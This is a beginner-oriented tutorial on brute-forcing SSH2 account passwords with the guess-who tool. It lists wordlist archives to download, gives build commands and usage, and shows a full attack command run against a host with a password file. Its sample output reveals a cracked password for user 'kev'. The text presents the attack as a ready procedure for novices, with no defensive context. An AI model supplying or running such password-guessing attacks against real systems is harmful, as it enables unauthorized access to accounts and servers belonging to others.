Brute Force ssh (for n00bs)

Guess-who is a password brute force utility for attacking Secure Shell Version 2 accounts.
It is available from http://packetstormsecurity.org/

Required Files and programs

It is NOT required to download ALL files here. Please read CAREFULLY!

• Choose 1 from the following:
  

  • all_merged.tar.gz	all_merged.zip	(~20MB! - 67MB uncompressed)	- Several passwords
    common_merged.tar.gz	common_merged.zip	(~6.5MB - 18MB uncompressed)	- Selection of common passwords

• Required Program:
  

  • guess-who-0.44.tgz (16.1 KB) - Linux program to Brute Force SSH
    

• In case you would want to personalize your password files, the folowing is a Wind0ws utility to merge text files
  

  • uumerge.zip (55.1 KB) Wind0ws merging program
    

• The following are to be chosen if you want to create personalized password files.

  • common.tar.gz | common.zip (35 files - 6322.2 KB) - Several passwords not merged (~6MB)
    all.tar.gz | all.zip (46 files - 19130.5 KB) - Selection of common passwords not merged (~20MB!)
    

Procedure

Installation:
Download to the desired directory

tar -zxvf guess-who-0.44.tgz
make

Execution:

[root@hacker guess-who]# ./b

guess-who SSH2 parallel passwd bruter (C) 2002 by krahmer@cs.uni-potsdam.de

Usage: ./b <-l login> <-h host> [-p port] <-1|-2> [-N nthreads] [-n ntries]
Use -1 for producer/consumer thread model, -2 for dumb parallelism. < Password file

Expected output:

[root@hacker guess-who]# ./b -l kev -h l192.168.1.1 -p 22 -2 < /passwords.txt
(!)056 ][ 00013 ][ 00000004.307361 ][ kev ][ arsenal ]
[ 00061 ][ 00015 ][ 00000004.066396 ][ kev ][ e3d ]

As you can see the user kev has a password of arsenal